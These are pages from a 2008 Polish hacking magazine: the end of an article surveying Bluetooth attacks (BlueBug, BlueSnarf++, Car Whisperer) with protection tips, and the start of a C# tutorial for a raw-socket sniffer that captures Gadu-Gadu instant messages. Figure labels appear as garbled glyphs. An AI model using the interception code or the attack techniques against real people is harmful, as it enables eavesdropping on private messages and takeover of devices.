jak telecom/pb.vcf (książka telefoniczna) 
lub telecom/cal.vcs (kalendarz). Jeżeli 
oprogramowanie urządzenia nie zostało 
zaimplementowane poprawnie, agresor 
może uzyskać dostęp do wszystkich 
plików (zdjęcia, pliki, kalendarz) 
zapisanych na atakowanym urządzeniu.

BlueBug

BlueBug – zaprezentowany przez Martina 
Herfurta w marcu 2004 – pozwala na 
wykonanie nieautoryzowanych czynności 
na urządzeniu  z włączonym Bluetooth’em 
przy użyciu ukrytych kanałów RFCOMM
udostępniających komendy AT. Niektóre 
telefony pozwalają na wydanie poleceń 
AT (komend modemu), przez co agresor 
może przejąć całkowitą kontrolę nad 
telefonem – ma dostęp do połączeń 
telefonicznych, SMSów, książki adresowej, 
konfiguracji telefonu.

HeloMoto

HeloMoto – jak nietrudno się domyśleć, 
bug ten spotykany jest w niektórych 

Rysunek 3. 

Warstwy Bluetooth

����������

����

���

���

���

���

��

���

�����

��������

�������

���

�����

���

��������

���������������

�������������������������

�����

������

background image

ATAK

34

 

HAKIN9 4/2008

HAKOWANIE BLUETOOTH

35

 

HAKIN9 

4/2008

telefonach Motorola, takich jak V80V5xx
V6xx czy E398. Atak ten wykorzystuje 
niewłaściwą obsługę mechanizmu 
'zaufanych urządzeń Bluetooth' i jest 
połączeniem ataków BlueSnarf oraz 
BlueBugAgresor rozpoczyna połączenie 
z wykorzystaniem profilu OBEX Push 
Profile, po czym przerywa proces i zostaje 
automatycznie dodany do zaufanych 
urządzeń na liście atakowanego telefonu 
– teraz wystarczy zainicjować połączenie z 
warstwą RFCOMM, aby otrzymać dostęp 
do komend AT telefonu.

BlueSmack

BlueSmack jest rodzajem ataku DoS
Atakowana jest tu warstwa L2CAP
Działanie polega na tym, iż na poziomie 
L2CAP możliwe jest zażądanie 
odpowiedzi innego urządzenia Bluetooth
Podobnie jak w przypadku komunikatu 
ping dla ICMP, jego zadaniem dla 
L2CAP jest zbadanie dostępności oraz 
prędkości nawiązywania połączenia. W 
przypadku odpowiednio dużego pakietu 
danych wysyłanych w kierunku L2CAP 
nastąpi przepełnienie bufora i odmowa 
dostępu do usługi.

Blueprinting

Blueprinting jest techniką pozwalającą 
na uzyskaniu informacji o urządzeniach z 
włączonym interfejsem Bluetooth. Każde 
takie urządzenie posiada unikatowy 
adres składający się z 6 bajtów, a jego 
ma forma jest podobna do adresów 

MAC: MM:MM:MM:XX:XX:XX

. Pierwsze 

trzy bajty adresu (oznaczone literą M) 
zawierają informacje o producencie 
chipsetu. Dodatkowo, wykorzystując 
mechanizm SDP, istnieje możliwość 
pobrania informacji o rodzaju usług 
oferowanych przez aktywne interfejsy 
Bluetooth. Na tej podstawie może zostać 
dokonana identyfikacja urządzenia, co 
jest zazwyczaj wstępną czynnością przed 
właściwym atakiem z wykorzystaniem 
innych opisanych tu technik.   

BlueSnarf++

BlueSnarf++ jest rozwinięciem ataku 
BlueSnarf, pozwalającym nie tylko na 
odczyt plików ze zdalnego urządzenia, 
ale także na zapis na nim danych. 
Konieczne jest w takim przypadku, aby na 
atakowanym urządzeniu był uruchomiony 

Rysunek 5. 

Algorytm uwierzytelniania

����������������������

����������

���������

�������

����������������������

��������������

�����

�������

�������

���

����

���

���

���

��������������

��������������

���������������

��������

�����

������

�������������

��������

��������

������

����������

��

Rysunek 4.

 Algorytm generowania kluczy

����������������������

����������������������

���

���

�����

��������

�����

��������

�����

�����������

�����

�����������

�������������

�����������

�������������

����������������

�������������������
���������

������������������������
�������������

���������

�������������������������������
���������������������������

������������������������
����������������

background image

ATAK

34

 

HAKIN9 4/2008

HAKOWANIE BLUETOOTH

35

 

HAKIN9 

4/2008

serwer OBEX FTP, do którego agresor 
łączy się z wykorzystaniem profilu OBEX 
Push bez konieczności parowania 
urządzeń. W ten sposób atakujący 
otrzymuje uprawnienia do przeglądania, 
jak i modyfikacji czy usuwania wszelkich 
zasobów plikowych. Obejmuje to również 
możliwość nieautoryzowanego dostępu 
do takich elementów urządzenia, jak karty 
pamięci, które zazwyczaj widoczne są w 
systemie plików jako katalogi.

BlueBump

BlueBump jest techniką ataku, w którym 
wcześniej pomiędzy urządzeniami 
Bluetooth musi zostać nawiązane 
zaufane połączenie. Po uzyskaniu 
takowego, urządzenie atakujące 
podtrzymuje połączenie, lecz prosi 
ofiarę o usunięcie klucza Link Key dla 
aktywnego połączenia i wygenerowanie 
nowego klucza. Wynikiem takiej 
operacji jest możliwość nawiązywania 
kolejnych połączeń bez konieczności 
ponownej autoryzacji. Do skutecznego 
przeprowadzenia tego typu ataku 
konieczne są operacje socjotechniczne, 
mające na celu nakłonienie użytkownika 
urządzenia-ofiary do nawiązania 
inicjalnego połączenia.

BlueDump

BlueDump opiera się o technikę 
spoofingu, gdzie agresor musi znać 
Bluetooth Device Address obydwu 
sparowanych urządzeń. Po podszyciu się 
pod adres jednego z urządzeń, możliwe 
jest połączenie z drugim urządzeniem 
z pary. Bluetooth atakującego nie 
posiada jednak klucza Link Key
więc gdy urządzenie ofiary zażąda 
uwierzytelniania, urządzenie agresora 
odpowie komunikatem HCI_Link_Key_
Request_Negative_Reply
. Może to 
niekiedy spowodować usunięcie klucza 
Link Key w atakowanym urządzeniu 
i rozpoczęcie na nowo procedury 
parowania.

BlueChop

BlueChop wykorzystuje również 
technikę spoofingu, lecz jego działanie 
polega na zakłócaniu pracy urządzeń 
w pikosieci. Atak bazuje na tym, że 
węzeł Master pikosieci obsługuje 
wielokrotne połączenia, które mogą 
posłużyć do utworzenia rozszerzonej 
sieci (scatternet). Agresor przedstawia 
się adresem losowego wybranego 
urządzenia będącego składnikiem 
pikosieci i łączy się z jednostką 

nadrzędną, co prowadzi do zakłócenia 
funkcjonowania sieci.

BlueJack

BlueJack ma na celu nie tyle samo 
przejmowanie kontroli nad atakowanym 
urządzeniem, co wykorzystywanie 
urządzeń Bluetooth znajdujących się 
w pobliżu w celu przesyłania do nich 
wiadomości w postaci wizytówek. 
Wizytówki takie najczęściej zawierają 
różnego rodzaju teksty, które u 
nieświadomych odbiorców mogą 
powodować konsternację.

Car Whisperer

Car Whisperer dotyczy urządzeń 
Bluetooth coraz częściej montowanych 
w samochodach i służących do 
podłączania telefonów komórkowych lub 
elementów car-audio. Doświadczenia 
przeprowadzone przez specjalistów z 
trifinite.group pokazały, że możliwe jest 
podsłuchiwanie rozmów prowadzonych 
w samochodzie. Atak Car Whisperer 
umożliwia odbieranie sygnału z 
mikrofonów oraz wysyłanie dźwięków do 
instalacji głośnikowej. Jest to możliwe 
dzięki temu, że urządzenia Bluetooth 
zainstalowane w samochodzie do 
parowania z innymi urządzeniami 
wykorzystują 'standardowe' kody PIN, 
takie jak: 

1234

 czy 

0000

, a dodatkowo 

nie ma możliwości ich modyfikacji. 

Konkluzje

Jak podaje firma InsightExpress
73 procent użytkowników urządzeń 
mobilnych takich, jak notebooki, 
telefony komórkowe czy PDA nie zna 
zasad, jakimi powinni się kierować, aby 
ograniczyć ryzyko związane z atakiem 
poprzez Bluetooth. Lepsza znajomość 
niebezpieczeństw, które czyhają na 
użytkowników nowych technologii 
bezprzewodowych, powinna ich uczulić 
na aspekty bezpieczeństwa i poufności 
danych. 

Jak chronić się przed atakami Bluetooth

•   włącz Bluetooth w Twoim urządzeniu tylko, kiedy jest to konieczne – np. na czas 

wysyłania danych czy wymiany wizytówek. W przypadku telefonów zmniejszysz w ten 
sposób również pobór energii z baterii,

•   zwróć uwagę na aktywność komunikacji interfejsu Bluetooth. Urządzenia w niego 

wyposażone maja zazwyczaj diodę koloru niebieskiego, która pulsuje w trakcie trwania 
transmisji danych,

•   sprawdź, czy Twój telefon komórkowy nie widnieje na liście modeli podatnych na ataki 

Bluetooth ; w razie dostępności nowej wersji oprogramowania usuwającego luki w 
działaniu Bluetooth, zaktualizuj firmware telefonu,

•   odrzucaj próby połączeń do Twojego telefonu czy PDA z nieznanych Ci urządzeń,
•   zwróć uwagę na długość i łatwość odgadnięcia PINu podczas procesu parowania 

urządzeń,

•   nie instaluj w swoim telefonie bądź PDA oprogramowania pochodzącego z nieznanego 

czy wątpliwego źródła. Być może zawiera ono złośliwy kod, którego zamiarem jest 
umożliwienie nieautoryzowanego dostępu do urządzeń Bluetooth.

W Sieci 

•   Hacking Bluetooth – http://trifinite.org/Downloads/21c3_Bluetooth_Hacking.pdf,
•   Opis technologii Bluetooth – http://pl.wikipedia.org/wiki/Bluetooth,
•   Wszystko o Bluejacking – http://www.bluejackq.com/, http://www.bluejacking.pl,
•   Opisy ataków, stosowane narzędzia i oprogramowanie – http://trifinite.org.

Marian Witkowski 

Jest miłośnikiem oraz entuzjastą wykorzystywania 

technologii mobilnych w codziennym zastosowaniu. 

W latach 2001-2006 był Dyrektorem Technologii 

firmy One-2-One SA, zajmującej się integracją usług 

dodanych w telefonii komórkowej. Prowadzi własną firmę 

świadczącą usługi informatyczne w zakresie tworzenia 

mikroprocesorowych systemów czasu rzeczywistego, 

technologii mobilnych oraz układów automatyki. 

Kontakt z autorem: mw@it-mobile.net.

background image

36

 

HAKIN9

ATAK

4/2008

J

edną z metod przechwycenia wiadomości 
jest zastosowanie keyloggera. W 
numerze styczniowym w artykule C#.NET. 

Podsłuchiwanie klawiatury przedstawiony 
został projekt podstawowego keyloggera dla 
systemu Windows. Takie rozwiązanie daje nam 
jednak możliwość odczytania wyłącznie danych 
wysyłanych przez klienta komunikatora do serwera. 
Aby mieć dostęp do danych zarówno wysyłanych, 
jak i odbieranych z serwera, musimy spróbować 
przechwycić je z sieci. Komunikacja sieciowa 
oparta jest na gniazdach. Gniazdo (ang. socket
jest abstrakcyjnym dwukierunkowym punktem 
końcowym procesu komunikacji. Dwukierunkowość 
oznacza możliwość i odbioru, i wysyłania danych. 
Pojęcie gniazda wywodzi się od twórców systemu 
Berkeley UNIX. Istnieje możliwość utworzenia tzw. 
surowych gniazd (ang. raw sockets), dzięki którym 
mamy dostęp do całości pakietu danych, tzn. wraz 
z nagłówkiem IP, TCP itd. Uzyskujemy w ten sposób 
możliwość monitorowania przepływu danych w 
sieci. Surowe gniazda są w pełni obsługiwane 
przez system Windows XP SP2. Nowy produkt 
Microsoftu – Windows Vista – w obecnej wersji 
ogranicza ich działanie. Można zadać sobie 
pytanie, czy ograniczenia wprowadzone w Windows 
Vista są próbą walki z hakerami czy tylko błędem, 
który zostanie w przyszłości poprawiony. Zwłaszcza, 
iż według nieoficjalnych zapowiedzi developerów 
z Redmond, surowe gniazda mają być w pełni 
dostępne wraz z nadejściem service packa dla 
systemu Windows Vista.

MACIEJ PAKULSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

jak protokół Gadu-Gadu 

obsługuje wysyłanie/odbieranie 

wiadomości,

jak działają surowe gniazda 

(ang. raw sockets).

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawy projektowania 

zorientowanego obiektowo,

znać podstawy działania sieci 

komputerowych.

Projekt aplikacji przechwytującej 

wiadomości komunikatora internetowego 
zrealizujemy korzystając z platformy .NET, 
która dostarcza wygodnego zbioru typów 
pozwalającego w prosty sposób na wykonanie 
tego zadania. Jako komunikator wykorzystamy 
klienta sieci Gadu-Gadu.

Gadu-Gadu – wysyłanie 

i odbieranie wiadomości

Jednym z najpopularniejszych polskich 
komunikatorów internetowych jest Gadu-Gadu. 
Jest on dostępny na polskim rynku od 2000 roku. 
Przez ten czas zyskał sobie wielką popularność i 
obecnie posiada liczbę użytkowników szacowaną 
na kilka milionów. Wiele innych komunikatorów 
umożliwia swoim użytkownikom komunikację nie 
tylko z własnymi dedykowanymi serwerami, ale 
również z serwerami sieci Gadu-Gadu.

Klient Gadu-Gadu bazuje na protokole TCP/IP. 

Połączenie jest realizowane z wykorzystaniem 
portu 8074 bądź 443. Dane wysyłane są w 
postaci pakietów, rozpoczynających się od 
nagłówka, którego postać przedstawia Listing 1.

Pole 

type

 określa typ wysyłanego pakietu, pole 

length

 – długość pakietu bez nagłówka, wyrażoną 

w bajtach. Po nagłówku znajdują się właściwe dane 
pakietu.

Gdy klient otrzymuje wiadomość, wówczas 

pole 

type

 przyjmuje wartość 0x0a. Po 

nagłówku pakietu wysyłana jest struktura 
przedstawiona na Listingu 2.

Stopień trudności

Przejmowanie 

wiadomości 

Gadu-Gadu

Komunikatory internetowe są jednym z coraz częściej 

wykorzystywanych sposobów komunikacji międzyludzkiej. Za ich 

pomocą prowadzimy luźne pogawędki ze znajomymi, załatwiamy 

sprawy zawodowe, a nawet wyznajemy uczucia drugiej osobie. 

Czy jednak możemy być pewni tego, że nikt nas nie podsłuchuje?

background image

37

 

HAKIN9 

C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU

4/2008

Pole 

sender

 to numer nadawcy 

wiadomości, 

seq

 jest numerem 

sekwencyjnym, 

time

 – czasem nadania 

wiadomości, 

class

 – klasą wiadomości, 

msg

 jest wysyłaną wiadomością. Aby 

określić długość wiadomości, musimy 
od pola 

length

 nagłówka odjąć ilość 

bajtów zajmowaną przez dane pakietu bez 
wiadomości (tj. 16 bajtów). Wiadomości 
są kodowane przy użyciu strony kodowej 
Windows-1250.

Gdy klient chce wysłać wiadomość, 

wówczas pole 

type

 nagłówka przyjmuje 

wartość 0x0b. Oprócz nagłówka 
wysyłana jest struktura zdefiniowana na 
Listingu 3.

Pole 

recipient

 określa numer 

odbiorcy, 

seq

 jest numerem sekwencyjnym, 

class

 – klasą wiadomości, a 

msg

 

wysyłaną wiadomością.

Protokół IP

Protokół IP wykorzystuje się do 
sortowania oraz dostarczania pakietów. 
Pakiety zwane są datagramami. Każdy 
taki datagram składa się z nagłówka 

oraz ładunku, zawierającego przeważnie 
pakiet innego protokołu. Obecnie używa 
się protokołu IP w wersji 4.

W nagłówku datagramu IPv4 możemy 

wyróżnić następujące pola:

•   Version – wersja protokołu,
•   IHL (Internet Header Length) – długość 

nagłówka, wyrażona jako ilość 32-
bitowych słów,

•   TOS (Type of Service) – typ obsługi 

określający sposób, w jaki powinien być 
obsłużony pakiet,

•   Total Length – całkowita długość 

datagramu IP w bajtach,

•   Identification – identyfikuje określony 

datagram IP,

•   Flags – pole to zawiera 3 bity, jednak 

wykorzystuje się tylko dwa spośród 
nich. Jedna z flag określa, czy pakiet 
może być fragmentowany, druga zaś 
– czy jest to już końcowy fragment 
w datagramie, czy może jest jednak 
więcej fragmentów,

•   Fragment Offset – określa pozycję 

fragmentu w stosunku do 
oryginalnego ładunku IP,

•   TTL (Time to Live) – określa czas 

(w sekundach), przez jaki datagram 
pozostanie w sieci, zanim zostanie 
odrzucony,

•   Protocol – określa typ protokołu 

będącego ładunkiem datagramu IP,

•   Header Checksum – suma kontrolna 

nagłówka, wykorzystywana w celu 
sprawdzenia jego poprawności,

•   Source IP Address – źródłowy adres IP,
•   Destination IP Address – docelowy 

adres IP.

Protokół TCP

Protokół TCP jest jednym z najczęściej 
używanych protokołów komunikacyjnych 
w sieciach komputerowych. Jest to 
protokół połączeniowy, w którym to przed 
rozpoczęciem komunikacji wymagane 
jest zainicjowanie połączenia przez jedną 
ze stron. Dane przesyłane są w postaci 
segmentów składających się każdorazowo 
z nagłówka oraz danych.

Nagłówek TCP możemy podzielić na 

następujące pola:

•   Source Port – port źródłowy,
•   Destination Port – port docelowy,
•   Sequence Number – służy do 

identyfikacji pierwszego bajtu danych 
w danym segmencie,

•   Acknowledgment Number 

– określa numer sekwencyjny bajtu 
oczekiwanego przez nadawcę,

•   Data Offset – długość nagłówka 

mierzona jako ilość 32-bitowych 
słów,

•   Reserved – pole zarezerwowane do 

przyszłego wykorzystania,

Rysunek 1. 

Nagłówek IPv4

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

Version

IHL

TOS

Total Length

Identification

Flags

Fragment Offset

TTL

Protocol

Header Checksum

Source IP Address

Destination IP Address

Options and Padding

Listing 1. 

Nagłówek pakietu Gadu-

Gadu

struct

 

GGHeader

{

        

int

 

type

;

        

int

 

length

;

   }

;

Listing 2. 

Struktura reprezentująca 

wiadomość odbieraną przez klienta 

Gadu-Gadu

struct

 

RecvMsg

 

{

        

int

 

sender

;

        

int

 

seq

;

        

int

 

time

;

        

int

 

class

;

        

string

 

msg

;

}

;

Listing 3. 

Struktura reprezentująca 

wiadomość wysyłaną przez klienta 

Gadu-Gadu

struct

 

SendMsg

{

        

int

 

recipient

;

        

int

 

seq

;

        

int

 

class

;

        

string

 

msg

;

}

;

background image

ATAK

38

 

HAKIN9 4/2008

C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU

39

 

HAKIN9 

4/2008

•   Flags – flagi zawierające informację 

o przeznaczeniu segmentu,

•   Window – określa ilość danych, jaką 

nadawca jest gotów przyjąć,

•   Checksum – suma kontrolna 

wykorzystywana do sprawdzenia 
poprawności transmisji,

•   Urgent Pointer – pole 

wykorzystywane do wyróżnienia 
szczególnie ważnych wiadomości.

Tworzymy klasę 

przechwytującą pakiety GG

Projekt aplikacji umożliwiającej 
przechwytywanie pakietów Gadu-Gadu 
stworzymy używając języka C# oraz 
darmowego środowiska Visual C# 2005 
Express Edition. Rozpoczynamy od 
stworzenia nowego projektu Windows 
Forms
. Do projektu dodajemy nową klasę 
i nadajemy jej nazwę 

IPHeader

. Klasa 

ta będzie reprezentować nagłówek IP. 
Najpierw dodamy odpowiednie pola do 
naszej klasy (Listing 4).

Pola klasy, oprócz dwóch ostatnich, są 

polami nagłówka IP. Pole 

headerLength

 

to całkowita długość nagłówka IP. Tablica 

ipData

 jest ładunkiem datagramu IP.

Możemy teraz przejść do napisania 

konstruktora klasy. Będzie on pobierał dwa 
parametry: tablicę przechwyconych bajtów 
oraz ich ilość. Dodajemy kod z Listingu 5.

Na początku tworzymy strumień 

poprzez stworzenie nowego obiektu 
klasy 

MemoryStream

 z przestrzeni nazw 

System.IO

. Przeciążony konstruktor tej 

klasy wymaga następujących parametrów: 
tablicy bajtów, z której chcemy utworzyć 
strumień, pozycji w tablicy, od której zacznie 
się tworzenie strumienia, a także długości 
strumienia. Następnie tworzymy obiekt 
klasy 

BinaryReader

, dzięki któremu 

możliwe jest odczytanie typów prostych ze 
strumienia. Konstruktor przyjmuje referencję 
do strumienia, z którego chcemy czytać. 
Możemy teraz odczytać interesujące 
nas dane. Warto tu zwrócić uwagę na 
dwie rzeczy. Metody odczytujące z klasy 

BinaryReader

 automatycznie zmieniają 

pozycję w strumieniu po wykonaniu operacji 
odczytu, a dane odebrane z sieci zapisane 
są w kolejności big endian (najbardziej 
znaczący bajt jest umieszczany jako 
pierwszy), podczas gdy na komputerach 
PC dane są przeważnie zapisywane w 
kolejności little endian (najmniej znaczący 
bajt umieszczany jest jako pierwszy). W 
związku z tym, aby zmienić kolejność 
bajtów, wykorzystujemy statyczną metodę 

NetworkToHostOrder

 klasy 

IPAddress

Aby móc jej użyć, musimy dodać przestrzeń 
nazw 

System.Net

Następnie odczytujemy 

długość odebranego nagłówka IP. Jest 
ona zapisana jako ilość 4-bajtowych słów 

Listing 4. 

Pola klasy IPHeader

private

 

byte

 

versionAndHeaderLength

;

 

private

 

byte

 

typeOfService

;

private

 

ushort

 

totalLenth

;

 

private

 

ushort

 

identification

;

 

private

 

ushort

 

flagsAndOffset

;

private

 

byte

 

tTL

;

private

 

byte

 

protocolType

;

 

private

 

short

 

checkSum

;

private

 

uint

 

sourceAddress

;

private

 

uint

 

destinationAddress

;

private

 

byte

 

headerLength

;

private

 

byte

[]

 

ipData

 

=

 

new

 

byte

[

4096

];

Listing 5. 

Konstruktor klasy IPHeader

public

 

IPHeader

(

byte

[]

 

dataReceived

int

 

received

)

{

   

try

   

{

      

MemoryStream

 

sm

 

=

 

new

 

MemoryStream

(

dataReceived

0

received

);

      

BinaryReader

 

br

 

=

 

new

 

BinaryReader

(

sm

);

      

versionAndHeaderLength

 

=

 

br

.

ReadByte

();

      

typeOfService

 

=

 

br

.

ReadByte

();

      

totalLenth

 

=

 

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

      

identification

 

=

 

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

      

flagsAndOffset

 

=

 

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

      

tTL

 

=

 

br

.

ReadByte

();

      

protocolType

 

=

 

br

.

ReadByte

();

      

checkSum

 

=

 

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

      

sourceAddress

 

=

 

(

uint

)(

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt32

()));

      

destinationAddress

 

=

 

(

uint

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt32

());

      

headerLength

 

=

 

versionAndHeaderLength

;

      

headerLength

 

=

 

(

byte

)((

headerLength

 

&

 

0x0f

)

 

*

 

4

);

      

Array

.

Copy

(

dataReceived

headerLength

ipData

0

totalLenth

 

-

 

headerLength

);

   

}

   

catch

 

(

Exception

 

exc

)

{}

}

Listing 6. 

Właściwości klasy IPHeader

public

 

byte

[]

 

Data

{

   

get

{

      

return

 

ipData

;

   

}

}

public

 

EProtocolType

 

TypeOfProtocol

{

   

get

   

{

      

if

 

(

protocolType

 

==

 

6

)

         

return

 

EProtocolType

.

TCP

;

      

return

 

EProtocolType

.

OTHER

;

   

}

}

public

 

int

 

MessageLength

{

   

get

   

{

      

return

 

totalLenth

 

-

 

headerLength

;

}

}

background image

ATAK

38

 

HAKIN9 4/2008

C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU

39

 

HAKIN9 

4/2008

i znajduje się w młodszej części bajtu 

versionAndHeaderLength

. Aby nie utracić 

danych z tej zmiennej, wykorzystujemy 
pomocniczą zmienną 

headerLength

Wykonujemy operację AND, aby wyzerować 
starszą część bajtu oraz mnożymy 
uzyskaną wielkość przez 4 w celu uzyskania 
właściwej długości nagłówka. Wartość tę 
wykorzystujemy do określenia ilości bajtów 
zajmowanych przez ładunek w datagramie 
IP. Używając statycznej metody 

Copy

 klasy 

Array

kopiujemy te dane do wcześniej 

zadeklarowanej tablicy, którą wykorzystamy 
do odczytu danych segmentu TCP.

Ostatnim krokiem jest zdefiniowanie 

właściwości. Nie będziemy jednak robić 
tego dla każdego pola naszej klasy, lecz 
wyłącznie dla tych wykorzystywanych przy 
analizie segmentu TCP. Dodajemy kod z 
Listingu 6.

Dodatkowo zdefiniowaliśmy typ 

wyliczeniowy z Listingu 7., który należy 
dodać przed definicją klasy. Służy on do 
określenia typu protokołu, którego pakiet 
jest ładunkiem w datagramie IP. Dla nas 
interesujący jest tylko protokół TCP, tak więc 
typ wyliczeniowy zawiera tylko dwa pola: 

TCP

 (dla protokołu TCP) oraz 

OTHER

 (dla 

innego typu protokołu).

Przystępujemy teraz do napisania klasy 

reprezentującej nagłówek TCP. Dodajemy 
nowa klasę i nadajemy jej nazwę 

TCPHeader

. Zaczniemy od dodania pól do 

naszej klasy – dopisujemy kod z Listingu 8.

Pola klasy, z wyjątkiem dwóch ostatnich, 

to pola nagłówka TCP, 

headerLength

 jest 

długością nagłówka w bajtach, a tablica 

tcpData

 to dane segmentu.

Przechodzimy teraz do zdefiniowania 

konstruktora dla naszej klasy. Podbiera on 
dwa parametry: tablicę bajtów, będącą 
ładunkiem datagramu IP, oraz ich ilość. 
Dodajemy kod z Listingu 9.

Na początku tworzymy obiekty 

MemoryStream

 oraz 

BinaryReader

wykorzystywane do odczytu 
poszczególnych pól nagłówka TCP. 
Następnie odczytujemy długość nagłówka. 
Jest ona zapisana – ponownie jako ilość 
4-bajtowych słów – w 4 najstarszych bitach 
zmiennej 

flagsAndOffset

. Wykonujemy 

więc przesunięcie o 12 pozycji w lewo 
oraz mnożymy otrzymaną wartość przez 
4 w celu uzyskania właściwej ilości bajtów 
zajmowanych przez nagłówek TCP. Długość 
tę wykorzystujemy do określenia miejsca 
początku danych segmentu.

Na końcu dodajemy właściwości dla 

wybranych pól naszej klasy, dopisując kod 
z Listingu 10.

Po utworzeniu klas opisujących 

nagłówki IP oraz TCP, przystępujemy do 
zdefiniowania klasy przechwytującej dane 
z sieci. Tworzymy nową klasę i nadajemy 
jej nazwę 

GGListener

. Pierwszym krokiem 

powinno być dodanie niezbędnych 
przestrzeni nazw: 

System.Net

System.Net.Sockets

System.IO

System.Text

. Do klasy dodajemy pola z 

Listingu 11.

Pola 

ipHeader

 oraz 

tcpHeader

 są 

odpowiednio referencjami do obiektów 

IPHeader

 oraz 

TCPHeader

. Pole 

s

 jest 

obiektem klasy 

Socket

reprezentującej 

gniazdo. Pole 

filePath

 jest ścieżką do 

pliku, w którym będziemy zapisywali 
przechwycone wiadomości Gadu-Gadu.

Możemy teraz przejść do napisania 

metod naszej klasy. Przedstawia je kod z 
Listingu 12.

Pierwsza metoda – konstruktor 

– jako parametr przyjmuje ścieżkę do 
pliku, w którym zapiszemy przechwycone 
wiadomości. Metoda 

IsGGPort

 

sprawdza, czy numer portu, określony 
przekazywanym do niej parametrem, jest 
numerem portu Gadu-Gadu. Za pomocą 
metody 

MachineAddress

 uzyskujemy 

referencję do obiektu klasy 

IPAddress

 

reprezentującej adres IP. Sercem klasy 
jest metoda 

StartToListen

za pomocą 

której rozpoczynamy przechwytywanie 
danych. Na początku tworzymy nowy obiekt 
klasy 

Socket

. Konstruktor klasy przyjmuje 

następujące parametry:

•   typ wyliczeniowy 

AddressFamily

 

reprezentuje rodzinę protokołów 
do obsługi gniazda – każda stała, 
przechowywana przez ten typ 
wyliczeniowy, określa sposób, w jaki 
klasa 

Socket

 będzie określała adres. 

InterNetwork

 określa użycie adresu 

IP w wersji 4,

•   typ wyliczeniowy 

SocketType

określający typ gniazda,

•   typ wyliczeniowy 

ProtocolType

określający typ protokołu.

Listing 9. 

Konstruktor klasy TCPHeader

public

 

TCPHeader

(

byte

[]

 

data

int

 

received

)

{

   

try

   

{

      

MemoryStream

 

sm

 

=

 

new

 

MemoryStream

(

data

0

received

);

      

BinaryReader

 

br

 

=

 

new

 

BinaryReader

(

sm

);

      

sourcePort

 

=

 

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

      

destinationPort

 

=

 

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

      

sequenceNumber

 

=

 

(

uint

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt32

());

      

acknowledgmentNumber

 

=

 

(

uint

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt32

());

      

dataOffsetAndFlags

 

=

 

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

      

window

 

=

 

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

      

checkSum

 

=

 

(

short

)(

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

()));

      

urgentPointer

 

=

 

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

      

headerLength

 

=

 

(

byte

)(

dataOffsetAndFlags

 

>>

 

12

);

      

headerLength

 

*=

 

4

;

      

Array

.

Copy

(

data

headerLength

tcpData

0

received

 

-

 

headerLength

);

   

}

   

catch

 

(

Exception

 

exc

)

{}

}

Listing 7. 

Typ wyliczeniowy 

EProtocolType

enum

 

EProtocolType

{

   

TCP

,

   

OTHER

}

Listing 8. 

Pola klasy TCPHeader 

private

 

ushort

 

sourcePort

;

private

 

ushort

 

destinationPort

;

private

 

uint

 

sequenceNumber

;

private

 

uint

 

acknowledgmentNumber

;

private

 

ushort

 

dataOffsetAndFlags

;

private

 

ushort

 

window

;

private

 

short

 

checkSum

;

private

 

ushort

 

urgentPointer

;

private

 

byte

 

headerLength

;

private

 

byte

[]

 

tcpData

 

=

 

new

 

byte

[

4096

];

background image

ATAK

40

 

HAKIN9 4/2008

C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU

41

 

HAKIN9 

4/2008

Po stworzeniu gniazda musimy je 
powiązać z pulą adresów uwzględnianych 
przy nasłuchu. Służy do tego metoda 

Bind

. Jako parametr przyjmuje ona 

referencję do obiektu klasy 

EndPoint

Jednakże klasa ta jest abstrakcyjna, 
tak więc musimy skorzystać z jednej z 
klas pochodnych. Tworzymy więc nowy 
obiekt klasy 

IPEndPoint

. Konstruktor 

tej klasy wymaga dwóch parametrów: 
referencji do obiektu klasy 

IPAddress

 

uzyskiwanej przez wywołanie wcześniej 
zdefiniowanej metody 

MachineAddress

 

oraz numeru portu (dla surowych 
gniazd ustawiamy wartość 0, gdyż nie 
korzystają one z portów). Następnym 
krokiem jest określenie trybu operacji 
niskopoziomowych wykonywanych przez 
gniazdo poprzez wywołanie metody 

IOControl

. Metoda ta przyjmuje 3 

parametry:

•   typ wyliczeniowy 

IOControlCode

określający kod kontrolny operacji do 
wykonania. Stała 

ReceiveAll

 oznacza, 

że będą odbierane wszystkie pakiety 
IPv4,

•   tablicę bajtów z parametrami 

wejściowymi. Zgodnie z dokumentacją 
Platform SDK ten parametr powinien 
być typu 

BOOL

 (4 bajty) i mieć wartość 

TRUE

 – tak więc przekazujemy tablicę { 

1, 0, 0, 0 },

•   tablicę bajtów z danymi wyjściowymi.

Metoda ta jest analogiczna do funkcji 
WinApi 

WSAIoctl

.

Następnie rozpoczynamy 

asynchroniczne odbieranie danych 
poprzez wywołanie metody 

BeginReceive

przyjmującej następujące parametry:

•   tablicę bajtów, w której zostaną 

umieszczone odebrane dane,

•   indeks tablicy, od którego rozpocznie 

się zapisywanie danych w tablicy,

•   ilość bajtów, jaką można maksymalnie 

odebrać,

•   flagi,
•   delegację 

AsyncCallback

 określającą 

metodę, wywoływaną w momencie 
ukończenia asynchronicznej operacji,

•   obiekt klasy 

Object

, dzięki któremu 

możemy przekazać dane do metody 

wywoływanej po zakończeniu 
